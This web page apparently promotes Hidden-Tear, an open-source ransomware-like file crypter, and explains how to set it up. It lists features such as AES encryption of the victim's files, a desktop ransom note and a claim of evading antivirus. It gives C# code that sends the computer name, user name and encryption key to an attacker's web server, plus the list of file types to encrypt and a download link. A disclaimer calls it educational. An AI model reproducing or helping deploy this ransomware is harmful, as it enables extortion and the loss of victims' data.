• Cryptography
  • Hacking
  • Hidden-Tear – An OpenSource Ransomware-like File Crypter

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    It’s a ransomware-like file crypter sample which can be modified for specific purposes.
    Features

    • Uses AES algorithm to encrypt files.
    • Sends encryption key to a server.
    • Encrypted files can be decrypt in decrypter program with encryption key.
    • Creates a text file in Desktop with given message.
    • Small file size (12 KB)
    • Doesn’t detected to antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt

    Demonstration Video:

     
    Usage:

    • You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping)string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
    • The script should writes the GET parameter to a text file. Sending process running inSendPassword() function
      string info = computerName + "-" + userName + " " + password;
      var fullUrl = targetURL + info;
      var conent = new System.Net.WebClient().DownloadString(fullUrl);
      
    • Target file extensions can be change. Default list:

     

    var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};
    

    Legal Warning
    While this may be helpful for some, there are significant risks. hidden tear may be used only for Educational Purposes. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.
    Downalod Hidden-Tear at Github
    Credits to:
    Utku Sen – A Turkish security researcher

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